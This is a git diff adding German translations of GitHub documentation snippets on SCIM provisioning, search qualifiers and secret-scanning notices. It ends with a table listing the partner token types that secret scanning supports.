diff --git a/translations/de-DE/data/reusables/scim/dedicated-configuration-account.md b/translations/de-DE/data/reusables/scim/dedicated-configuration-account.md
new file mode 100644
index 0000000000..8111fbdfb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/dedicated-configuration-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 49888e7031e048c77d405b1e65d9e06510e3c789
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147063410"
+---
+Du musst eine {% data variables.product.prodname_oauth_app %} von einem Drittanbieter verwenden, um SCIM in deiner Organisation zu verwenden. Die {% data variables.product.prodname_oauth_app %} muss von einem bestimmten {% data variables.product.prodname_dotcom %}-Benutzer autorisiert worden sein und agiert anschließend in dessen Namen. Wenn der bzw. die Benutzer*in, der oder die die {% data variables.product.prodname_oauth_app %} zuletzt autorisiert hat, die Organisation verlässt oder aus dieser entfernt wird, funktioniert SCIM nicht mehr. Es wird empfohlen, ein dediziertes Benutzerkonto für die SCIM-Konfiguration zu erstellen, um dieses Problem zu vermeiden. Dieses Benutzerkonto muss ein Organisationsbesitzer sein und benötigt eine Lizenz.
diff --git a/translations/de-DE/data/reusables/scim/emu-scim-rate-limit.md b/translations/de-DE/data/reusables/scim/emu-scim-rate-limit.md
new file mode 100644
index 0000000000..e722a4bd23
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/emu-scim-rate-limit.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: ebe9a25b8ca45009aa7628cc732e871990edf233
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879051"
+---
+{% note %}
+
+**Hinweis:** Weise der Identitätsanbieteranwendung maximal 1.000 Benutzer pro Stunde zu, um eine Überschreitung des Ratenlimits für {% data variables.product.product_name %} zu vermeiden. Wenn du Gruppen verwendest, um der Identitätsanbieteranwendung Benutzer hinzuzufügen, füge den einzelnen Gruppen jeweils maximal 100 Benutzer pro Stunde hinzu. Bei Überschreitung dieser Schwellenwerte tritt bei der Benutzerbereitstellung möglicherweise ein Ratenlimitfehler auf, und die Bereitstellung ist nicht erfolgreich.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/scim/enterprise-account-scim.md b/translations/de-DE/data/reusables/scim/enterprise-account-scim.md
new file mode 100644
index 0000000000..ac08a28b7d
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/enterprise-account-scim.md
@@ -0,0 +1 @@
+You cannot use this implementation of SCIM with an enterprise account or with an {% data variables.enterprise.prodname_emu_org %}. If your enterprise is enabled for {% data variables.product.prodname_emus %}, you must use a different implementation of SCIM. Otherwise, SCIM is not available at the enterprise level. For more information, see "[Configuring SCIM provisioning for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)."
diff --git a/translations/de-DE/data/reusables/scim/ghes-beta-note.md b/translations/de-DE/data/reusables/scim/ghes-beta-note.md
new file mode 100644
index 0000000000..5424b0a648
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/ghes-beta-note.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 006bc6ea241b79ff5891db29591ce4a3e6f8976d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109406"
+---
+{% ifversion scim-for-ghes %}
+
+{% note %}
+
+**Hinweis:** SCIM für {% data variables.product.product_name %} befindet sich derzeit in der privaten Betaphase, Änderungen vorbehalten. Wenn du Zugang zur Betaversion erhalten möchtest, kontaktiere deinen Kundenbetreuer unter {% data variables.contact.contact_enterprise_sales %}.
+
+{% endnote %}
+
+{% warning %}
+
+**Warnung:** Die Betaversion dient ausschließlich zu Testzwecken und zum Erhalt von Feedback, es wird kein Support bereitgestellt. {% data variables.product.company_short %} empfiehlt das Testen mit einer Staginginstanz. Weitere Informationen findest du unter [Einrichten einer Staginginstanz](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance).
+
+{% endwarning %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/scim/ghes-scim-beta-note.md b/translations/de-DE/data/reusables/scim/ghes-scim-beta-note.md
new file mode 100644
index 0000000000..7fb289c434
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/ghes-scim-beta-note.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 85452f71d1176e05ad7681c25fe374d5befc5ad1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109398"
+---
+{% ifversion scim-for-ghes %}
+
+{% note %}
+
+**Hinweis:** Die SCIM-Unterstützung für die folgenden IdPs befindet sich derzeit in der privaten Betaphase, Änderungen vorbehalten.
+
+{% endnote %}
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/scim/ghes-scim-idp-table.md b/translations/de-DE/data/reusables/scim/ghes-scim-idp-table.md
new file mode 100644
index 0000000000..7dd8c1a55d
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/ghes-scim-idp-table.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: ef572fed8832a5c236badbd14c6a3921ea49c5e9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109393"
+---
+{% ifversion scim-for-ghes %}
+
+IdP | SAML | Benutzerbereitstellung | Teamzuordnung| 
+--- | --- | ---------------- | --------- |
+[Azure Active Directory (Azure AD)](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %}| {% octicon "check-circle-fill" aria-label="The check icon" %} |
+[Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label= "The check icon" %} |
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/scim/nameid-and-username-must-match.md b/translations/de-DE/data/reusables/scim/nameid-and-username-must-match.md
new file mode 100644
index 0000000000..50df5290eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/nameid-and-username-must-match.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ffa400a45f4c54f9d707652cde2b1f667f7de13d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130610"
+---
+Der SAML-IdP und der SCIM-Client müssen für jeden Benutzer übereinstimmende `NameID`- und `userName`-Werte verwenden. Hierbei kann ein Benutzer, der sich über SAML authentifiziert, mit seiner bereitgestellten SCIM-Identität verknüpft werden.
diff --git a/translations/de-DE/data/reusables/scim/supported-idps.md b/translations/de-DE/data/reusables/scim/supported-idps.md
new file mode 100644
index 0000000000..1243cee7b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/scim/supported-idps.md
@@ -0,0 +1,6 @@
+The following IdPs can provision or deprovision user accounts on {% data variables.location.product_location %} using SCIM.
+
+{% ifversion ghae %}
+- Azure AD
+- Okta (currently in beta)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/search/date_gt_lt.md b/translations/de-DE/data/reusables/search/date_gt_lt.md
new file mode 100644
index 0000000000..80ae5e342a
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/date_gt_lt.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: afd4c9ccc2df5ce0eb2a05a2fbae43ed75f9144b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877062"
+---
+Wenn du nach einem Datum suchst, kannst du „größer als“, „kleiner als“ und Bereichsqualifizierer verwenden, um Ergebnisse weiter zu filtern. Weitere Informationen findest du unter [Grundlagen der Suchsyntax](/github/searching-for-information-on-github/understanding-the-search-syntax).
diff --git a/translations/de-DE/data/reusables/search/requested_reviews_search.md b/translations/de-DE/data/reusables/search/requested_reviews_search.md
new file mode 100644
index 0000000000..202134f410
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/requested_reviews_search.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ea268fa024cdb19ae9b31fc66556881d8e2ec30c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884947"
+---
+Du findest einen Pull Request, in dem du oder ein Team, dem du angehörst, mit dem Suchqualifizierer `review-requested:[USERNAME]` oder `team-review-requested:[TEAMNAME]` zum Review aufgefordert werden. Weitere Informationen findest du unter [Durchsuchen von Issues und Pull Requests](/articles/searching-issues-and-pull-requests).
diff --git a/translations/de-DE/data/reusables/search/requested_reviews_search_tip.md b/translations/de-DE/data/reusables/search/requested_reviews_search_tip.md
new file mode 100644
index 0000000000..6621177107
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/requested_reviews_search_tip.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4cec58e6fe66ce970d267a3150423afc933fbc12
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879044"
+---
+{% tip %}
+
+**Tipp**: Du findest einen Pull Request, wenn du oder ein Team, dem du angehörst, mit dem Suchqualifizierer `review-requested:[USERNAME]` oder `team-review-requested:[TEAMNAME]` zum Review angefordert wirst. Weitere Informationen findest du unter [Durchsuchen von Issues und Pull Requests](/articles/searching-issues-and-pull-requests).
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/search/required_login.md b/translations/de-DE/data/reusables/search/required_login.md
new file mode 100644
index 0000000000..46e2512ecd
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/required_login.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 09e56c44f24608a5c08afb07c6d3835a966d01e3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130385"
+---
+Um in allen öffentlichen Repositorys nach Code zu suchen, musst du in {% data variables.product.product_name %} bei einem persönlichen Konto angemeldet sein.
diff --git a/translations/de-DE/data/reusables/search/search_issues_and_pull_requests_shortcut.md b/translations/de-DE/data/reusables/search/search_issues_and_pull_requests_shortcut.md
new file mode 100644
index 0000000000..8bf753c78b
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/search_issues_and_pull_requests_shortcut.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2e825a8aff0925393161d136c962082a5807a9eb
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876798"
+---
+Du kannst Deinen Mauszeiger mit einem Tastaturkürzel auf die Suchleiste über dem Issue oder Pull Request fokussieren. Weitere Informationen findest du unter [Tastenkombinationen](/articles/keyboard-shortcuts/#issue-and-pull-request-lists).
diff --git a/translations/de-DE/data/reusables/search/syntax_tips.md b/translations/de-DE/data/reusables/search/syntax_tips.md
new file mode 100644
index 0000000000..8eedc169a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/syntax_tips.md
@@ -0,0 +1,8 @@
+{% tip %}
+
+**Tips:**{% ifversion ghes or ghae %}
+  - This article contains links to example searches on the {% data variables.product.prodname_dotcom_the_website %} website, but you can use the same search filters with {% data variables.product.product_name %}. In the linked example searches, replace `github.com` with the hostname for {% data variables.location.product_location %}.{% endif %}
+  - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/articles/understanding-the-search-syntax)".
+  - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/search/you-can-search-globally.md b/translations/de-DE/data/reusables/search/you-can-search-globally.md
new file mode 100644
index 0000000000..965c35f76a
--- /dev/null
+++ b/translations/de-DE/data/reusables/search/you-can-search-globally.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 477a936377c82dfe9aeb4539d820aa44fee242e7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130602"
+---
+Du kannst global über {% data variables.product.product_name %} hinweg suchen oder Deine Suche auf ein bestimmtes Repositorys oder eine bestimmte Organisation beschränken.
diff --git a/translations/de-DE/data/reusables/secret-scanning/api-beta.md b/translations/de-DE/data/reusables/secret-scanning/api-beta.md
new file mode 100644
index 0000000000..df67e5ad16
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/api-beta.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 09ebb9f33daaa2de46afdf61cf5f65398219b0f9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130378"
+---
+{% ifversion ghes or ghae %}
+
+{% note %}
+
+**Hinweis**: Die {% data variables.product.prodname_secret_scanning %}-API liegt derzeit als öffentliche Betaversion vor und kann noch geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/beta-dry-runs.md b/translations/de-DE/data/reusables/secret-scanning/beta-dry-runs.md
new file mode 100644
index 0000000000..8693b99760
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/beta-dry-runs.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 071cfdca3aa8af125dbb7553f6f734abd70cd113
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130581"
+---
+
+{% note %}
+
+**Hinweis**: Das Feature „Probelauf“ befindet sich derzeit in der Betaversion und kann noch geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/beta.md b/translations/de-DE/data/reusables/secret-scanning/beta.md
new file mode 100644
index 0000000000..daf7ccdb22
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/beta.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 6651596e9f4ee39f1263196731ff03079c33598c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130377"
+---
+{% ifversion ghae %}
+
+<!-- Remove this reusable and all references for GA release -->
+
+{% elsif ghae %}
+
+{% note %}
+
+**Hinweis:** {% data variables.product.prodname_secret_scanning_caps %} für organisationseigene Repositorys liegen derzeit in der Betaversion vor und können geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md b/translations/de-DE/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md
new file mode 100644
index 0000000000..e4513c6c98
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/enterprise-enable-secret-scanning.md
@@ -0,0 +1,10 @@
+{% ifversion ghes %}
+
+{% note %}
+
+**Note:** Your site administrator must enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/enterprise/admin/configuration/configuring-secret-scanning-for-your-appliance)."   
+{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_secret_scanning %}, if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %}
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/fpt-GHAS-scans.md b/translations/de-DE/data/reusables/secret-scanning/fpt-GHAS-scans.md
new file mode 100644
index 0000000000..ee5eb0254a
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/fpt-GHAS-scans.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b1c3a2ecad5e28d40cc788dc8e37f718387c809c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130374"
+---
+**Hinweis**: Organisationen, die {% data variables.product.prodname_ghe_cloud %} mit {% data variables.product.prodname_GH_advanced_security %} verwenden, können auch {% data variables.product.prodname_secret_scanning_GHAS %} für jedes eigene Repository aktivieren, einschließlich privater Repositorys. Weitere Informationen findest du in der [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security).
diff --git a/translations/de-DE/data/reusables/secret-scanning/partner-program-link.md b/translations/de-DE/data/reusables/secret-scanning/partner-program-link.md
new file mode 100644
index 0000000000..8c7f4770a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/partner-program-link.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 27c15f53453b35e15334666d6f6eb420df0de30b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145130577"
+---
+{% ifversion fpt or ghec %} Informationen zu unserem Partnerprogramm findest du unter [{% data variables.product.prodname_secret_scanning_caps %}-Partnerprogramm](/developers/overview/secret-scanning-partner-program).
+{% else %} Informationen zu unserem Partnerprogramm findest du unter [{% data variables.product.prodname_secret_scanning_caps %}-Partnerprogramm](/enterprise-cloud@latest/developers/overview/secret-scanning-partner-program) in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-private-repo.md
new file mode 100644
index 0000000000..ca4af641d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/secret-scanning/partner-secret-list-private-repo.md
@@ -0,0 +1,225 @@
+Provider | Supported secret | Secret type
+--- | --- | ---
+Adafruit IO | Adafruit IO Key | adafruit_io_key
+Adobe | Adobe Device Token | adobe_device_token
+Adobe | Adobe Service Token | adobe_service_token
+Adobe | Adobe Short-Lived Access Token | adobe_short_lived_access_token
+Adobe | Adobe JSON Web Token | adobe_jwt
+Alibaba Cloud | Alibaba Cloud Access Key ID with Alibaba Cloud Access Key Secret| alibaba_cloud_access_key_id </br>alibaba_cloud_access_key_secret
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Amazon | Amazon OAuth Client ID with Amazon OAuth Client Secret | amazon_oauth_client_id </br>amazon_oauth_client_secret{% endif %}
+Amazon Web Services (AWS) | Amazon AWS Access Key ID with Amazon AWS Secret Access Key | aws_access_key_id </br>aws_secret_access_key
+Amazon Web Services (AWS) | Amazon AWS Session Token with Amazon AWS Temporary Access Key ID and Amazon AWS Secret Access Key | aws_session_token </br>aws_temporary_access_key_id </br>aws_secret_access_key
+Asana | Asana {% data variables.product.pat_generic_title_case %} | asana_personal_access_token
+Atlassian | Atlassian API Token | atlassian_api_token
+Atlassian | Atlassian JSON Web Token | atlassian_jwt
+Atlassian | Bitbucket Server {% data variables.product.pat_generic_title_case %} | bitbucket_server_personal_access_token
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Azure | Azure Active Directory Application Secret | azure_active_directory_application_secret{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure Batch Key Identifiable | azure_batch_key_identifiable{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Azure | Azure Cache for Redis Access Key | azure_cache_for_redis_access_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure CosmosDB Key Identifiable | azure_cosmosdb_key_identifiable{% endif %}
+Azure | Azure DevOps {% data variables.product.pat_generic_title_case %} | azure_devops_personal_access_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+Azure | Azure ML Studio (classic) Web Service Key | azure_ml_studio_classic_web_service_key{% endif %}
+Azure | Azure SAS Token | azure_sas_token
+Azure | Azure Service Management Certificate | azure_management_certificate
+{%- ifversion ghes < 3.4 or ghae < 3.4 %}
+Azure | Azure SQL Connection String | azure_sql_connection_string{% endif %}
+Azure | Azure Storage Account Key | azure_storage_account_key
+Beamer | Beamer API Key | beamer_api_key
+Checkout.com | Checkout.com Production Secret Key | checkout_production_secret_key
+Checkout.com | Checkout.com Test Secret Key | checkout_test_secret_key
+Clojars | Clojars Deploy Token | clojars_deploy_token
+CloudBees CodeShip | CloudBees CodeShip Credential | codeship_credential
+Contentful | Contentful {% data variables.product.pat_generic_title_case %} | contentful_personal_access_token
+Databricks | Databricks Access Token | databricks_access_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+DevCycle | DevCycle Client API Key | devcycle_client_api_key
+DevCycle | DevCycle Server API Key | devcycle_server_api_key
+DevCycle | DevCycle Mobile API Key | devcycle_mobile_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+DigitalOcean | DigitalOcean {% data variables.product.pat_generic_title_case %} | digitalocean_personal_access_token
+DigitalOcean | DigitalOcean OAuth Token | digitalocean_oauth_token
+DigitalOcean | DigitalOcean Refresh Token | digitalocean_refresh_token
+DigitalOcean | DigitalOcean System Token | digitalocean_system_token{% endif %}
+Discord | Discord Bot Token | discord_bot_token
+Doppler | Doppler Personal Token | doppler_personal_token
+Doppler | Doppler Service Token | doppler_service_token
+Doppler | Doppler CLI Token | doppler_cli_token
+Doppler | Doppler SCIM Token | doppler_scim_token
+Doppler | Doppler Audit Token | doppler_audit_token
+Dropbox | Dropbox Access Token | dropbox_access_token
+Dropbox | Dropbox Short Lived Access Token | dropbox_short_lived_access_token
+Duffel | Duffel Live Access Token | duffel_live_access_token
+Duffel | Duffel Test Access Token | duffel_test_access_token
+Dynatrace | Dynatrace Access Token | dynatrace_access_token
+Dynatrace | Dynatrace Internal Token | dynatrace_internal_token
+EasyPost | EasyPost Production API Key | easypost_production_api_key
+EasyPost | EasyPost Test API Key | easypost_test_api_key
+Fastly | Fastly API Token | fastly_api_token
+Finicity | Finicity App Key | finicity_app_key
+Flutterwave | Flutterwave Live API Secret Key | flutterwave_live_api_secret_key
+Flutterwave | Flutterwave Test API Secret Key | flutterwave_test_api_secret_key
+Frame.io | Frame.io JSON Web Token | frameio_jwt
+Frame.io| Frame.io Developer Token | frameio_developer_token
+FullStory | FullStory API Key | fullstory_api_key
+GitHub | GitHub {% data variables.product.pat_generic_title_case %} | github_personal_access_token
+GitHub | GitHub OAuth Access Token | github_oauth_access_token
+GitHub | GitHub Refresh Token | github_refresh_token
+GitHub | GitHub App Installation Access Token | github_app_installation_access_token
+GitHub | GitHub SSH Private Key | github_ssh_private_key
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+GitLab | GitLab Access Token | gitlab_access_token{% endif %}
+GoCardless | GoCardless Live Access Token | gocardless_live_access_token
+GoCardless | GoCardless Sandbox Access Token | gocardless_sandbox_access_token
+Google | Firebase Cloud Messaging Server Key | firebase_cloud_messaging_server_key
+Google | Google API Key | google_api_key
+Google | Google Cloud Private Key ID | 
+Google | Google Cloud Storage Service Account Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_service_account_access_key_id </br>google_cloud_storage_access_key_secret
+Google | Google Cloud Storage User Access Key ID with Google Cloud Storage Access Key Secret | google_cloud_storage_user_access_key_id </br>google_cloud_storage_access_key_secret
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Google | Google OAuth Access Token | google_oauth_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Google | Google OAuth Client ID with Google OAuth Client Secret | google_oauth_client_id </br>google_oauth_client_secret{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %}
+Grafana | Grafana API Key | grafana_api_key
+HashiCorp | Terraform Cloud / Enterprise API Token | terraform_api_token
+HashiCorp | HashiCorp Vault Batch Token | hashicorp_vault_batch_token
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+HashiCorp | HashiCorp Vault Root Service Token | hashicorp_vault_root_service_token{% endif %}
+HashiCorp | HashiCorp Vault Service Token | hashicorp_vault_service_token
+Hubspot | Hubspot API Key | hubspot_api_key
+Intercom | Intercom Access Token | intercom_access_token
+Ionic | Ionic {% data variables.product.pat_generic_title_case %} | ionic_personal_access_token
+Ionic | Ionic Refresh Token | ionic_refresh_token
+{%- ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+JD Cloud | JD Cloud Access Key | jd_cloud_access_key{% endif %}
+JFrog | JFrog Platform Access Token | jfrog_platform_access_token
+JFrog | JFrog Platform API Key | jfrog_platform_api_key
+Linear | Linear API Key | linear_api_key
+Linear | Linear OAuth Access Token | linear_oauth_access_token
+Lob | Lob Live API Key | lob_live_api_key
+Lob | Lob Test API Key | lob_test_api_key
+{%- ifversion fpt or ghec or ghes > 3.8 or ghae > 3.8 %}
+LogicMonitor | LogicMonitor Bearer Token | logicmonitor_bearer_token
+LogicMonitor | LogicMonitor LMV1 Access Key | logicmonitor_lmv1_access_key{% endif %}
+Mailchimp | Mailchimp API Key | mailchimp_api_key
+Mailgun | Mailgun API Key | mailgun_api_key
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Mapbox | Mapbox Secret Access Token | mapbox_secret_access_token{% endif %}
+MessageBird | MessageBird API Key | messagebird_api_key
+Meta | Facebook Access Token | facebook_access_token
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Midtrans | Midtrans Production Server Key | midtrans_production_server_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Midtrans | Midtrans Sandbox Server Key | midtrans_sandbox_server_key{% endif %}
+New Relic | New Relic Personal API Key | new_relic_personal_api_key
+New Relic | New Relic REST API Key | new_relic_rest_api_key
+New Relic | New Relic Insights Query Key | new_relic_insights_query_key
+New Relic | New Relic License Key | new_relic_license_key
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Notion | Notion Integration Token | notion_integration_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Notion | Notion OAuth Client Secret | notion_oauth_client_secret{% endif %}
+npm | npm Access Token | npm_access_token
+NuGet | NuGet API Key | nuget_api_key
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+Octopus Deploy | Octopus Deploy API Key | octopus_deploy_api_key{% endif %}
+Onfido | Onfido Live API Token | onfido_live_api_token
+Onfido | Onfido Sandbox API Token | onfido_sandbox_api_token
+OpenAI | OpenAI API Key | openai_api_key
+Palantir | Palantir JSON Web Token | palantir_jwt
+PlanetScale | PlanetScale Database Password | planetscale_database_password
+PlanetScale | PlanetScale OAuth Token | planetscale_oauth_token
+PlanetScale | PlanetScale Service Token | planetscale_service_token
+Plivo | Plivo Auth ID with Plivo Auth Token | plivo_auth_id </br>plivo_auth_token
+Postman | Postman API Key | postman_api_key
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+Prefect | Prefect Server API Key | prefect_server_api_key
+Prefect | Prefect User API Key | prefect_user_api_key{% endif %}
+Proctorio | Proctorio Consumer Key | proctorio_consumer_key
+Proctorio | Proctorio Linkage Key | proctorio_linkage_key
+Proctorio | Proctorio Registration Key | proctorio_registration_key
+Proctorio | Proctorio Secret Key | proctorio_secret_key
+Pulumi | Pulumi Access Token | pulumi_access_token
+PyPI | PyPI API Token | pypi_api_token
+{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %}
+ReadMe | ReadMe API Access Key | readmeio_api_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+redirect.pizza | redirect.pizza API Token | redirect_pizza_api_token{% endif %}
+RubyGems | RubyGems API Key | rubygems_api_key
+Samsara | Samsara API Token | samsara_api_token
+Samsara | Samsara OAuth Access Token | samsara_oauth_access_token
